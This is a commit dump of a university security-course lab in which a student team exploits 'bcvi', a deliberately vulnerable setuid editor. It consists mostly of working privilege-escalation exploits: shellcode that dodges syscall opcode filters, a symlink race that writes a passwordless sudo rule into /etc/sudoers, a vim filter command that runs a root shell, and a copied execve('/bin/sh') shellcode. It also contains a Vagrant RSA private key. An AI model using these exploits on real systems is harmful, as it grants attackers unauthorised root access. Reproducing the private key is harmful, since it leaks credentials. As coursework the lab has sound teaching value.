This commit is contained in:
commit
d7cb704a4a
|
@ -0,0 +1,7 @@
|
|||
!_TAG_FILE_FORMAT 2 /extended format; --format=1 will not append ;" to lines/
|
||||
!_TAG_FILE_SORTED 1 /0=unsorted, 1=sorted, 2=foldcase/
|
||||
!_TAG_PROGRAM_AUTHOR Darren Hiebert /dhiebert@users.sourceforge.net/
|
||||
!_TAG_PROGRAM_NAME Exuberant Ctags //
|
||||
!_TAG_PROGRAM_URL http://ctags.sourceforge.net /official site/
|
||||
!_TAG_PROGRAM_VERSION 5.9~svn20110310 //
|
||||
exploit.py ../bcvi1.1/exploit.py 1;" kind:file line:1
|
|
@ -0,0 +1 @@
|
|||
1.5:4dfc5582-3d57-4f60-94d9-f66b7347f2b3
|
|
@ -0,0 +1 @@
|
|||
1507004799
|
|
@ -0,0 +1 @@
|
|||
1000
|
|
@ -0,0 +1 @@
|
|||
4dfc5582-3d57-4f60-94d9-f66b7347f2b3
|
|
@ -0,0 +1 @@
|
|||
58bc20eb0575408fbcb898b5db30857e
|
|
@ -0,0 +1,27 @@
|
|||
-----BEGIN RSA PRIVATE KEY-----
|
||||
MIIEpAIBAAKCAQEAwx3/8ipNdIHTZDzAcFwZ/WqRJDo6q1T0FSQjUj5k9vWzYO0n
|
||||
A2sLFBbA8gOQ0ICwvd42g4cVzfU34tnxj2ycd9oM2mFcNHa8SfY1rB0+nDiBrnr0
|
||||
msv9JNW6gDzQcHvDzZZzgWr242tQnkr7GYDsSAZRn7bvtQ1ldlgSqdoRecobIoHu
|
||||
Y+mC2yntFmt37oW0Gouy8O1ahLn3HVLafPWPcXlJHp2kCeKlDNVBtTy5hCqaShHL
|
||||
+s88hts/KaP24RJvWIAmFzNJ+hAQbD3f3+HRQrK3MU28kPRx7vVusAhQXToldPpb
|
||||
PSWe4Ngi7jz26boP8+vdMfevbykdipcz3I61NwIDAQABAoIBAF0iCrNawdHkzjRA
|
||||
U1LOg5FUtqbmLG7vg/o7X6i4I5VFvjN7v22AQK98FOjwDsWXR8W5NageaKgAboaX
|
||||
pRfireT/bbcnVc2tBz7+iKv44ZPL3QqdoffpepGEexsO7CdkzBdrwwJ5PhNbfAWy
|
||||
oJyRzzap3Xgw58Yx+MY+T9pHPqQ0nzff3USFXpEzCrAbOoSnwYecz3zYiG+Ze6a0
|
||||
Q2dlQRLedDVp4g2kYf+XgsppwTKVK0QmAdf9V0/kjE2Ql0deesuANsmkvyWaPB8U
|
||||
H3TaiF8DTdXGZek0wbqg8pqGhLQAOCbhukkkFv8aLz1c6MYMfDCFGaE/gyf2JZzv
|
||||
A5BtK0ECgYEA/M1sxXP4SQAJuO11zk5WDSrLuT+FMwVC5pV84/v35nq3gGa325K7
|
||||
AeB1WLVi+ijdrX7Y6flDnqw4eHRkxt8KMvLtrZ+dp/MML0I+zQWj8HitrD5Muk5T
|
||||
0hKR/LRp3+bQqGDZlfMkiief6CQOIADaAnw1jdJXBbcJFREIJmCW6XECgYEAxZXK
|
||||
NHkYNDAwhdbpTNtu7SQKWv/BtJDpyeeJJotlIT7oWlKI1n79vX34J7Pzg0DdSQdg
|
||||
tFM5fdRie+zWylXAqR/fR5iAublsUjfbgNUWC+uoM2qlhL4+ZaGbsHoxpw81hXdM
|
||||
UHgO/fJp2jGr+3dbrCPJaM4tz4xZNRVFhuao9ScCgYBkEZTa3DsN+nvevfCCB7Q8
|
||||
ZhJac/Bv78c5qzbSsCzDCRSWORLSUdTAu273/GT/jSmiwbFvfIHtz1JTLA+wQR2y
|
||||
aUL4FVS85JKQKnLdiTwJtltY8RhCLzsyzrMHCwtV2/IAlMXMe4CdR24e4BbPSEcD
|
||||
8NLqHrbfxkJMGn/VYSqboQKBgQC3vB4Hg6AVT8affwT+GoPhc4VJr9FiZutwfKWW
|
||||
OUP2kXgiHePvirHMV2q/CODmahgcxAaSSV4J+8kFMm1eRDXfT6si+daiXqIzJowx
|
||||
FnXk6eREw+RdN0fw3EJZ7pdjoYoErbZCkhJm5di3NT+XnRubTMALfMcu3HVMHpbD
|
||||
5pSxOwKBgQDuPWaJY5M9SmAghSKfaLocS4PXwQ3IvfpjhXTKeqtRGd7enEARtRFn
|
||||
2JGBN25SKSXjm8MxLqMtQLuNp/UmIKGew/N6x407W95RMqIlmM3haktJ6Dno/VUB
|
||||
Eg90Fv/KYEfkycvA1xEPrmFSCLQ/6XnYFwyomqdr/ZylpF5KqCwZ6Q==
|
||||
-----END RSA PRIVATE KEY-----
|
|
@ -0,0 +1 @@
|
|||
{"virtualbox":{"/vagrant":{"guestpath":"/vagrant","hostpath":"/home/michael/Documents/School/CSCI5271/bcvi","disabled":false,"__vagrantfile":true}}}
|
|
@ -0,0 +1 @@
|
|||
/home/michael/Documents/School/CSCI5271/bcvi
|
|
@ -0,0 +1,6 @@
|
|||
{
|
||||
"files.associations": {
|
||||
"*.pyx": "python",
|
||||
"stdlib.h": "c"
|
||||
}
|
||||
}
|
|
@ -0,0 +1,8 @@
|
|||
!_TAG_FILE_FORMAT 2 /extended format; --format=1 will not append ;" to lines/
|
||||
!_TAG_FILE_SORTED 1 /0=unsorted, 1=sorted, 2=foldcase/
|
||||
!_TAG_PROGRAM_AUTHOR Darren Hiebert /dhiebert@users.sourceforge.net/
|
||||
!_TAG_PROGRAM_NAME Exuberant Ctags //
|
||||
!_TAG_PROGRAM_URL http://ctags.sourceforge.net /official site/
|
||||
!_TAG_PROGRAM_VERSION 5.9~svn20110310 //
|
||||
exploit.py ../exploit.py 1;" kind:file line:1
|
||||
p ../exploit.py /^ p = process(["\/usr\/bin\/sudobcvi", f.name])$/;" kind:variable line:6
|
|
@ -0,0 +1,61 @@
|
|||
# Using the default compiler in Ubuntu 16.04:
|
||||
# gcc (Ubuntu 5.4.0-6ubuntu1~16.04.4) 5.4.0 20160609
|
||||
CC := gcc
|
||||
|
||||
# -g: include debugging information
|
||||
# -m32: compile a 32-bit binary, even on a 64-bit machine
|
||||
# -m64: compile a 64-bit binary
|
||||
# -Wall: enable most warning messages
|
||||
# -fno-stack-protector: disable a security mechanism
|
||||
# -z execstack: allow code execution on the stack
|
||||
# -z norelro: disable a security mechanism
|
||||
BC_CFLAGS := -g -Wall -fno-stack-protector -z execstack -z norelro
|
||||
NC_CFLAGS := -I/usr/include/ncursesw
|
||||
NC_LIBS := -lncursesw -ltinfo
|
||||
|
||||
all: bcvi bcvi64 sudobcvi sudobcvi64
|
||||
|
||||
bcvi: bcvi.c
|
||||
$(CC) -m32 $(BC_CFLAGS) $(NC_CFLAGS) $< -o $@ $(NC_LIBS)
|
||||
|
||||
bcecho: bcecho.c
|
||||
$(CC) -m32 $(BC_CFLAGS) $(NC_CFLAGS) $< -o $@ $(NC_LIBS)
|
||||
|
||||
sudobcvi: bcvi.c
|
||||
$(CC) -m32 $(BC_CFLAGS) $(NC_CFLAGS) $< -o $@ $(NC_LIBS)
|
||||
|
||||
bcvi64: bcvi.c
|
||||
$(CC) -m64 $(BC_CFLAGS) $(NC_CFLAGS) $< -o $@ $(NC_LIBS)
|
||||
|
||||
sudobcvi64: bcvi.c
|
||||
$(CC) -m64 $(BC_CFLAGS) $(NC_CFLAGS) $< -o $@ $(NC_LIBS)
|
||||
|
||||
ifeq ($(shell which rootshell),/bin/rootshell)
|
||||
|
||||
EXE:=bcvi
|
||||
SUDOEXE:=sudo$(EXE)
|
||||
EXEPATH:=/usr/bin/$(EXE)
|
||||
SUDOEXEPATH:=/usr/bin/sudo$(EXE)
|
||||
|
||||
install:
|
||||
@# The bcvi executable itself is not setuid or setgid
|
||||
sudo -v && sudo cp $(EXE) $(EXEPATH)
|
||||
sudo -v && sudo chown root:root $(EXEPATH)
|
||||
sudo -v && sudo chmod a+rx $(EXEPATH)
|
||||
sudo -v && sudo cp $(EXE)64 $(EXEPATH)64
|
||||
sudo -v && sudo chown root:root $(EXEPATH)64
|
||||
sudo -v && sudo chmod a+rx $(EXEPATH)64
|
||||
@# The sudobcvi executable is setuid root
|
||||
sudo -v && sudo cp $(SUDOEXE) $(SUDOEXEPATH)
|
||||
sudo -v && sudo chown root:root $(SUDOEXEPATH)
|
||||
sudo -v && sudo chmod a+rx $(SUDOEXEPATH)
|
||||
sudo -v && sudo chmod u+s $(SUDOEXEPATH)
|
||||
sudo -v && sudo cp $(SUDOEXE)64 $(SUDOEXEPATH)64
|
||||
sudo -v && sudo chown root:root $(SUDOEXEPATH)64
|
||||
sudo -v && sudo chmod a+rx $(SUDOEXEPATH)64
|
||||
sudo -v && sudo chmod u+s $(SUDOEXEPATH)64
|
||||
|
||||
else
|
||||
install:
|
||||
@echo "Don't install this on a real machine!"
|
||||
endif
|
|
@ -0,0 +1,70 @@
|
|||
# -*- mode: ruby -*-
|
||||
# vi: set ft=ruby :
|
||||
|
||||
# All Vagrant configuration is done below. The "2" in Vagrant.configure
|
||||
# configures the configuration version (we support older styles for
|
||||
# backwards compatibility). Please don't change it unless you know what
|
||||
# you're doing.
|
||||
Vagrant.configure("2") do |config|
|
||||
# The most common configuration options are documented and commented below.
|
||||
# For a complete reference, please see the online documentation at
|
||||
# https://docs.vagrantup.com.
|
||||
|
||||
# Every Vagrant development environment requires a box. You can search for
|
||||
# boxes at https://vagrantcloud.com/search.
|
||||
config.vm.box = "ubuntu/trusty64"
|
||||
|
||||
# Disable automatic box update checking. If you disable this, then
|
||||
# boxes will only be checked for updates when the user runs
|
||||
# `vagrant box outdated`. This is not recommended.
|
||||
# config.vm.box_check_update = false
|
||||
|
||||
# Create a forwarded port mapping which allows access to a specific port
|
||||
# within the machine from a port on the host machine. In the example below,
|
||||
# accessing "localhost:8080" will access port 80 on the guest machine.
|
||||
# NOTE: This will enable public access to the opened port
|
||||
# config.vm.network "forwarded_port", guest: 80, host: 8080
|
||||
|
||||
# Create a forwarded port mapping which allows access to a specific port
|
||||
# within the machine from a port on the host machine and only allow access
|
||||
# via 127.0.0.1 to disable public access
|
||||
# config.vm.network "forwarded_port", guest: 80, host: 8080, host_ip: "127.0.0.1"
|
||||
|
||||
# Create a private network, which allows host-only access to the machine
|
||||
# using a specific IP.
|
||||
# config.vm.network "private_network", ip: "192.168.33.10"
|
||||
|
||||
# Create a public network, which generally matched to bridged network.
|
||||
# Bridged networks make the machine appear as another physical device on
|
||||
# your network.
|
||||
# config.vm.network "public_network"
|
||||
|
||||
# Share an additional folder to the guest VM. The first argument is
|
||||
# the path on the host to the actual folder. The second argument is
|
||||
# the path on the guest to mount the folder. And the optional third
|
||||
# argument is a set of non-required options.
|
||||
# config.vm.synced_folder "../data", "/vagrant_data"
|
||||
|
||||
# Provider-specific configuration so you can fine-tune various
|
||||
# backing providers for Vagrant. These expose provider-specific options.
|
||||
# Example for VirtualBox:
|
||||
#
|
||||
# config.vm.provider "virtualbox" do |vb|
|
||||
# # Display the VirtualBox GUI when booting the machine
|
||||
# vb.gui = true
|
||||
#
|
||||
# # Customize the amount of memory on the VM:
|
||||
# vb.memory = "1024"
|
||||
# end
|
||||
#
|
||||
# View the documentation for the provider you are using for more
|
||||
# information on available options.
|
||||
|
||||
# Enable provisioning with a shell script. Additional provisioners such as
|
||||
# Puppet, Chef, Ansible, Salt, and Docker are also available. Please see the
|
||||
# documentation for more information about their specific syntax and use.
|
||||
# config.vm.provision "shell", inline: <<-SHELL
|
||||
# apt-get update
|
||||
# apt-get install -y apache2
|
||||
# SHELL
|
||||
end
|
|
@ -0,0 +1,58 @@
|
|||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
/* strlcpy: secure version of strcpy(), copied from OpenBSD */
|
||||
/*
|
||||
* Copy src to string dst of size siz. At most siz-1 characters
|
||||
* will be copied. Always NUL terminates (unless siz == 0).
|
||||
* Returns strlen(src); if retval >= siz, truncation occurred.
|
||||
*/
|
||||
size_t
|
||||
strlcpy(char *dst, const char *src, size_t siz)
|
||||
{
|
||||
char *d = dst;
|
||||
const char *s = src;
|
||||
size_t n = siz;
|
||||
|
||||
/* Copy as many bytes as will fit */
|
||||
if (n != 0 && --n != 0) {
|
||||
do {
|
||||
if ((*d++ = *s++) == 0)
|
||||
break;
|
||||
} while (--n != 0);
|
||||
}
|
||||
|
||||
/* Not enough room in dst, add NUL and traverse rest of src */
|
||||
if (n == 0) {
|
||||
if (siz != 0)
|
||||
*d = '\0'; /* NUL-terminate dst */
|
||||
while (*s++)
|
||||
;
|
||||
}
|
||||
|
||||
return(s - src - 1); /* count does not include NUL */
|
||||
}
|
||||
|
||||
void print_arg(char *str) {
|
||||
char buf[20];
|
||||
int len;
|
||||
int buf_sz = (sizeof(buf) - sizeof(NULL)) * sizeof(char *);
|
||||
len = strlcpy(buf, str, buf_sz);
|
||||
if (len > buf_sz) {
|
||||
fprintf(stderr, "Trucation occured when printing %s\n", str);
|
||||
}
|
||||
fwrite(buf, sizeof(char), len, stdout);
|
||||
}
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
int i;
|
||||
for (i = 1; i < argc; i++) {
|
||||
print_arg(argv[i]);
|
||||
if (i + 1 != argc) {
|
||||
putchar(' ');
|
||||
}
|
||||
}
|
||||
putchar('\n');
|
||||
return 0;
|
||||
}
|
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
Binary file not shown.
|
@ -0,0 +1,5 @@
|
|||
#!/bin/bash
|
||||
echo ":%!/bin/rootshell" | sudobcvi $(mktemp) &
|
||||
BCVI_PID=$!
|
||||
kill -9 $BCVI_PID
|
||||
printf "Done.\n"
|
|
@ -0,0 +1,42 @@
|
|||
#!/bin/bash
|
||||
# Exploit handcrafted by Team Shell Smash.
|
||||
# zhan4854, beach144, jerus005
|
||||
|
||||
# Shellcode
|
||||
cat > shellcode.s << EOF
|
||||
bits 64
|
||||
# Pad with four zeros
|
||||
db 0x00, 0x00, 0x00, 0x00
|
||||
|
||||
push rbp
|
||||
# Pushing 0x00000000, which is the second argument of argv[]
|
||||
xor rax, rax
|
||||
push rax
|
||||
|
||||
# The string "/bin//rootshell", literally
|
||||
mov rdi, 0x006c6c656873746f
|
||||
push rdi
|
||||
mov rdi, 0x6f722f2f6e69622f
|
||||
push rdi
|
||||
|
||||
# 1st argument (filename)
|
||||
mov rdi, rsp
|
||||
# 3rd argument (envp), should be 0x00000000
|
||||
push rax
|
||||
mov rdx, rsp
|
||||
# 2nd argument (argv), is a pointer to 1st argument
|
||||
push rbx
|
||||
mov rsi, rsp
|
||||
|
||||
# 0x3b, or 59 is the syscall number for execve
|
||||
mov al, 0x3b
|
||||
# Blocking int 0x80 and sysenter but not syscall? lol
|
||||
syscall
|
||||
ret
|
||||
EOF
|
||||
|
||||
# Compile to bin
|
||||
nasm -f bin -o shellcode shellcode.s
|
||||
|
||||
# Execute
|
||||
echo "llllR" | sudobcvi64 shellcode
|
|
@ -0,0 +1,44 @@
|
|||
#!/bin/bash
|
||||
# Exploit handcrafted by Team Shell Smash.
|
||||
# zhan4854, beach144, jerus005
|
||||
|
||||
# Shellcode
|
||||
cat > shellcode.s << EOF
|
||||
bits 64
|
||||
# Pad with four zeros
|
||||
db 0x00, 0x00, 0x00, 0x00
|
||||
|
||||
push rbp
|
||||
# Pushing 0x00000000, which is the second argument of argv[]
|
||||
xor rax, rax
|
||||
push rax
|
||||
|
||||
# The string "/bin//rootshell", literally
|
||||
mov rdi, 0x006c6c656873746f
|
||||
push rdi
|
||||
mov rdi, 0x6f722f2f6e69622f
|
||||
push rdi
|
||||
|
||||
# 1st argument (filename)
|
||||
mov rdi, rsp
|
||||
# 3rd argument (envp), should be 0x00000000
|
||||
push rax
|
||||
mov rdx, rsp
|
||||
# 2nd argument (argv), is a pointer to 1st argument
|
||||
push rbx
|
||||
mov rsi, rsp
|
||||
|
||||
mov r10, 0x060f
|
||||
sub r10, 0x100
|
||||
push r10
|
||||
|
||||
mov al, 0x3b
|
||||
call rsp
|
||||
ret
|
||||
EOF
|
||||
|
||||
# Compile to bin
|
||||
nasm -f bin -o shellcode shellcode.s
|
||||
|
||||
# Execute
|
||||
echo "llllR" | sudobcvi64 shellcode
|
|
@ -0,0 +1,8 @@
|
|||
from pwn import process
|
||||
from tempfile import NamedTemporaryFile
|
||||
|
||||
with NamedTemporaryFile() as f:
|
||||
f.write("Hello.")
|
||||
p = process(["/usr/bin/sudobcvi", f.name])
|
||||
p.sendline("r")
|
||||
print p.recv(1024)
|
|
@ -0,0 +1,35 @@
|
|||
#!/bin/bash
|
||||
|
||||
## TOC-TOU attack on BCVI.
|
||||
|
||||
function write_sudoers {
|
||||
|
||||
# wait for file to be replaced
|
||||
sleep 0.2
|
||||
|
||||
# user test can run any command without a password
|
||||
sudoers="test ALL=(ALL:ALL) NOPASSWD:ALL"
|
||||
|
||||
# go to insert mode and enter the payload
|
||||
echo i"$sudoers"
|
||||
|
||||
# escape, write, quit
|
||||
echo -e '\x1B:w\n:q\n'
|
||||
|
||||
}
|
||||
|
||||
# start up sudobcvi
|
||||
touch f
|
||||
write_sudoers | sudobcvi f &
|
||||
|
||||
# wait for sudobcvi to be loaded
|
||||
sleep 0.1
|
||||
|
||||
# replace the normal file with a file with /etc/sudoers
|
||||
rm f; ln -s /etc/sudoers f
|
||||
|
||||
# wait for sudoers to be overwritten
|
||||
sleep 1
|
||||
|
||||
# we are root!
|
||||
sudo rootshell
|
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1 @@
|
|||
0000%@7ÁÈ À7ÁÈ ÀÁÈ À7ÁÈ%
0000Ã
|
|
@ -0,0 +1,81 @@
|
|||
|
||||
|
||||
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||||
|
||||
pwned by Team Shell Smash
|
||||
|
||||
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||||
|
||||
Group Members:
|
||||
- Michael Zhang (zhan4854)
|
||||
- Elliott Beach (beach144)
|
||||
- Jegatheeswaran Jerusan (jerus005)
|
||||
|
||||
The macro makes use of a call to the compiler extension asm()
|
||||
which bakes the given assembly code directly into the binary.
|
||||
In this case, the only assembly that was compiled was a single
|
||||
instruction `call()` that calls the text in the buffer as a
|
||||
set of assembly instruction. This gives us very powerful control
|
||||
over the execution of the program. In this exploit, we will focus
|
||||
on attacking this macro feature of BCVI.
|
||||
|
||||
But in order to increase the scope of our attack outside of the
|
||||
execution of this process, we will need to be able to execute
|
||||
syscalls, which BCVI only weakly attempts to prevent by scanning
|
||||
the assembly code provided for the opcodes for int 0x80 and
|
||||
sysenter. But the `syscall` instruction is still available to us.
|
||||
|
||||
The next step is to call `execve()` in order to call the target
|
||||
`/bin/rootshell` application. Here is `execve` from the man page:
|
||||
|
||||
int execve(const char *filename, char *const argv[],
|
||||
char *const envp[]);
|
||||
|
||||
The rest of the writeup is related to crafting shellcode that
|
||||
is in the correct format for calling execve. Recall that the
|
||||
function parameter order for 64-bit executables is: rdi for
|
||||
the first argument, rsi for the second argument, and rdx for
|
||||
the third argument. That means:
|
||||
|
||||
- rdi should contain the address of a space in memory, pointing
|
||||
to the name of the executable we want to run, which, in this
|
||||
case, is /bin/rootshell.
|
||||
- rsi should contain the address of a char* array, which means
|
||||
that it's a list of pointers to char*s. In particular, argv
|
||||
should contain a list of the command-line arguments passed to
|
||||
the executable, which, in this case, is ["/bin/rootshell",
|
||||
NULL].
|
||||
- rcx should just contain NULL, since we won't need any envi-
|
||||
ronmental variables for this exploit.
|
||||
|
||||
The targeted layout for our stack will look like:
|
||||
|
||||
$top: ---------HIGH STACK ADDRESS---------
|
||||
|
||||
$top-0x08: 0x00000000 <-- NULL to terminate the filename.
|
||||
|
||||
$top-0x0f: 0x006c6c65
|
||||
$top-0x10: 0x6873746f
|
||||
$top-0x1f: 0x6f722f2f
|
||||
$top-0x20: 0x6e69622f <-- This is the actual string con-
|
||||
taining the value of the path
|
||||
`/bin/rootshell`.
|
||||
|
||||
$top-0x28: 0x00000000 <-- This is a NULL pointer that's
|
||||
used for envp[].
|
||||
|
||||
$top-0x30: $top-0x20 <-- This is the address to the start
|
||||
of the `/bin/rootshell` string.
|
||||
|
||||
Then, we will simply set:
|
||||
|
||||
- %rdi to point to $top-0x20
|
||||
- %rsi to point to $top-0x30
|
||||
- %rdx to point to $top-0x28
|
||||
|
||||
For convenience, %rdx is set before %rsi simply because of the
|
||||
order in which the above stack layout is constructed. The rest
|
||||
of the shellcode simply builds this structure and then puts 0x3b
|
||||
(the syscall number for execve) and then executing the syscall.
|
||||
|
||||
-Writeup by Michael Zhang
|
|
@ -0,0 +1,23 @@
|
|||
|
||||
|
||||
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||||
|
||||
pwned by Team Shell Smash
|
||||
|
||||
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||||
|
||||
Group Members:
|
||||
- Michael Zhang (zhan4854)
|
||||
- Elliott Beach (beach144)
|
||||
- Jegatheeswaran Jerusan (jerus005)
|
||||
|
||||
Like last week's exploit, I took advantage of the run_macro function, only this
|
||||
week's patch had blacklisted 0x05, which was part of the opcode for syscall
|
||||
(0x0f05). However, it doesn't seem like call was blocked, so I simply pushed the
|
||||
opcodes required for syscall (0x0f05) on to the stack backwards. Unfortunately,
|
||||
since 0x05 was blocked, I couldn't push it directly, so I had to push 0x0f06
|
||||
(obviously in little-endian order), and then perform a subtraction in order to
|
||||
have the correct value on stack. Then with a simple call, I was able to execve
|
||||
the root shell again!
|
||||
|
||||
-Writeup by Michael Zhang
|
|
@ -0,0 +1,112 @@
|
|||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <errno.h>
|
||||
|
||||
#include <fcntl.h>
|
||||
#include <unistd.h>
|
||||
#include <pwd.h>
|
||||
#include <grp.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/stat.h>
|
||||
#include <termios.h>
|
||||
|
||||
/* Effectively a simplified version of /bin/id */
|
||||
void print_ids(void) {
|
||||
uid_t uid = getuid();
|
||||
uid_t euid = geteuid();
|
||||
gid_t gid = getgid();
|
||||
gid_t egid = getegid();
|
||||
struct passwd *pw;
|
||||
struct group *grp;
|
||||
pw = getpwuid(uid);
|
||||
printf("uid=%d(%s) ", uid, pw ? pw->pw_name : "?");
|
||||
pw = getpwuid(euid);
|
||||
printf("euid=%d(%s) ", euid, pw ? pw->pw_name : "?");
|
||||
grp = getgrgid(gid);
|
||||
printf("gid=%d(%s) ", gid, grp ? grp->gr_name : "?");
|
||||
grp = getgrgid(egid);
|
||||
printf("egid=%d(%s)", egid, grp ? grp->gr_name : "?");
|
||||
printf("\n");
|
||||
}
|
||||
|
||||
void restore_tty_sysopen(void) {
|
||||
if (!isatty(0)) {
|
||||
int newfd;
|
||||
printf("Reopening stdin to /dev/tty: ");
|
||||
close(0); /* OK if it's not actually open */
|
||||
newfd = open("/dev/tty", O_RDONLY);
|
||||
if (newfd == 0) {
|
||||
printf("success.\n");
|
||||
} else if (newfd == -1) {
|
||||
printf("failed, %s. Continuing\n", strerror(errno));
|
||||
} else {
|
||||
printf("failed, unexpected FD %d. Continuing\n", newfd);
|
||||
}
|
||||
}
|
||||
if (!isatty(1)) {
|
||||
int newfd;
|
||||
printf("Reopening stdout to /dev/tty: ");
|
||||
close(1); /* OK if it's not actually open */
|
||||
newfd = open("/dev/tty", O_WRONLY);
|
||||
if (newfd == 1) {
|
||||
printf("success.\n");
|
||||
} else if (newfd == -1) {
|
||||
printf("failed, %s. Continuing\n", strerror(errno));
|
||||
} else {
|
||||
printf("failed, unexpected FD %d. Continuing\n", newfd);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void restore_tty_stdio(void) {
|
||||
if (!isatty(0)) {
|
||||
FILE *res;
|
||||
printf("Reopening stdin to /dev/tty: ");
|
||||
res = freopen("/dev/tty", "r", stdin);
|
||||
if (!res) {
|
||||
printf("failed, %s. Continuing\n", strerror(errno));
|
||||
} else {
|
||||
printf("success.\n");
|
||||
}
|
||||
}
|
||||
if (!isatty(1)) {
|
||||
FILE *res;
|
||||
fprintf(stderr, "Reopening stdout to /dev/tty: ");
|
||||
res = freopen("/dev/tty", "w", stdout);
|
||||
if (!res) {
|
||||
fprintf(stderr, "failed, %s. Continuing\n", strerror(errno));
|
||||
} else {
|
||||
fprintf(stderr, "success.\n");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void sane_tty(void) {
|
||||
struct termios t;
|
||||
tcgetattr(0, &t);
|
||||
t.c_iflag |= ICRNL;
|
||||
t.c_oflag |= ONLCR;
|
||||
tcsetattr(0, TCSADRAIN, &t);
|
||||
}
|
||||
|
||||
void run_shell(void) {
|
||||
execl("/bin/bash", "bash", (const char *)0);
|
||||
printf("Exec failed: %s\n", strerror(errno));
|
||||
}
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
restore_tty_stdio();
|
||||
sane_tty();
|
||||
print_ids();
|
||||
if (getuid() == 0 || geteuid() == 0) {
|
||||
/* Make sure all the different UIDs are all root */
|
||||
if (geteuid() != 0)
|
||||
seteuid(0);
|
||||
setuid(0);
|
||||
printf("Congratulations, you're root. Here's your shell:\n");
|
||||
run_shell();
|
||||
} else {
|
||||
printf("Only root may run `rootshell', go away.\n");
|
||||
}
|
||||
return 0;
|
||||
}
|
|
@ -0,0 +1,9 @@
|
|||
#!/bin/bash
|
||||
|
||||
dpkg --add-architecture i386
|
||||
|
||||
#apt-get update
|
||||
apt-get install -y \
|
||||
gcc-multilib \
|
||||
libncursesw5 libncursesw5-dev \
|
||||
libncursesw5:i386 libncursesw5-dev:i386
|
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1 @@
|
|||
H1À°;H¿ÿ/bin/shHÁïWH‰çWRH‰æ
|
|
@ -0,0 +1,12 @@
|
|||
bits 64
|
||||
|
||||
xor rax, rax
|
||||
mov al, 0x3b
|
||||
mov rdi, 0x68732f6e69622fff
|
||||
shr rdi, 0x8
|
||||
push rdi
|
||||
mov rdi, rsp
|
||||
push rdi
|
||||
push rdx
|
||||
mov rsi, rsp
|
||||
syscall
|
|
@ -0,0 +1,7 @@
|
|||
#include <unistd.h>
|
||||
int main() {
|
||||
char *args[2];
|
||||
args[0] = "/bin/rootshell";
|
||||
args[1] = NULL;
|
||||
execve(args[0], args, NULL);
|
||||
}
|
|
@ -0,0 +1,31 @@
|
|||
bits 64
|
||||
# Pad with four zeros
|
||||
db 0x00, 0x00, 0x00, 0x00
|
||||
|
||||
push rbp
|
||||
# Pushing 0x00000000, which is the second argument of argv[]
|
||||
xor rax, rax
|
||||
push rax
|
||||
|
||||
# The string "/bin//rootshell", literally
|
||||
mov rdi, 0x006c6c656873746f
|
||||
push rdi
|
||||
mov rdi, 0x6f722f2f6e69622f
|
||||
push rdi
|
||||
|
||||
# 1st argument (filename)
|
||||
mov rdi, rsp
|
||||
# 3rd argument (envp), should be 0x00000000
|
||||
push rax
|
||||
mov rdx, rsp
|
||||
# 2nd argument (argv), is a pointer to 1st argument
|
||||
push rbx
|
||||
mov rsi, rsp
|
||||
|
||||
mov r10, 0x060f
|
||||
sub r10, 0x100
|
||||
push r10
|
||||
|
||||
mov al, 0x3b
|
||||
call rsp
|
||||
ret
|
File diff suppressed because it is too large
Load Diff
Binary file not shown.
|
@ -0,0 +1,3 @@
|
|||
smcc:/etc/issue
|
||||
vagrant:/etc/issue
|
||||
test:/etc/issue
|
Binary file not shown.
|
@ -0,0 +1,52 @@
|
|||
/**
|
||||
*
|
||||
* _ _ _ ____ _ _
|
||||
* | | | | __ _ ___| | ___ __ | _ \ ___ | | |
|
||||
* | |_| |/ _` |/ __| |/ / '_ \ | |_) / _ \| | |
|
||||
* | _ | (_| | (__| <| | | | | _ < (_) | | |
|
||||
* |_| |_|\__,_|\___|_|\_\_| |_| |_| \_\___/|_|_|
|
||||
* [ http://www.hacknroll.com ]
|
||||
*
|
||||
* Description:
|
||||
* FreeBSD x86-64 exec("/bin/sh") Shellcode - 31 bytes
|
||||
*
|
||||
*
|
||||
*
|
||||
* Authors:
|
||||
* Maycon M. Vitali ( 0ut0fBound )
|
||||
* Milw0rm .: http://www.milw0rm.com/author/869
|
||||
* Page ....: http://maycon.hacknroll.com
|
||||
* Email ...: maycon@hacknroll.com
|
||||
*
|
||||
* Anderson Eduardo ( c0d3_z3r0 )
|
||||
* Milw0rm .: http://www.milw0rm.com/author/1570
|
||||
* Page ....: http://anderson.hacknroll.com
|
||||
* Email ...: anderson@hacknroll.com
|
||||
*
|
||||
* -------------------------------------------------------
|
||||
*
|
||||
* amd64# gcc hacknroll.c -o hacknroll
|
||||
* amd64# ./hacknroll
|
||||
* # exit
|
||||
* amd64#
|
||||
*
|
||||
* -------------------------------------------------------
|
||||
*/
|
||||
|
||||
const char shellcode[] =
|
||||
"\x48\x31\xc0" // xor %rax,%rax
|
||||
"\x99" // cltd
|
||||
"\xb0\x3b" // mov $0x3b,%al
|
||||
"\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68" // mov $0x68732f6e69622fff,%rdi
|
||||
"\x48\xc1\xef\x08" // shr $0x8,%rdi
|
||||
"\x57" // push %rdi
|
||||
"\x48\x89\xe7" // mov %rsp,%rdi
|
||||
"\x57" // push %rdi
|
||||
"\x52" // push %rdx
|
||||
"\x48\x89\xe6" // mov %rsp,%rsi
|
||||
"\x0f\x05"; // syscall
|
||||
|
||||
int main(void) {
|
||||
(*(void (*)())shellcode)();
|
||||
return 0;
|
||||
}
|
|
@ -0,0 +1 @@
|
|||
/etc/sudoers
|
|
@ -0,0 +1,29 @@
|
|||
==6151== Memcheck, a memory error detector
|
||||
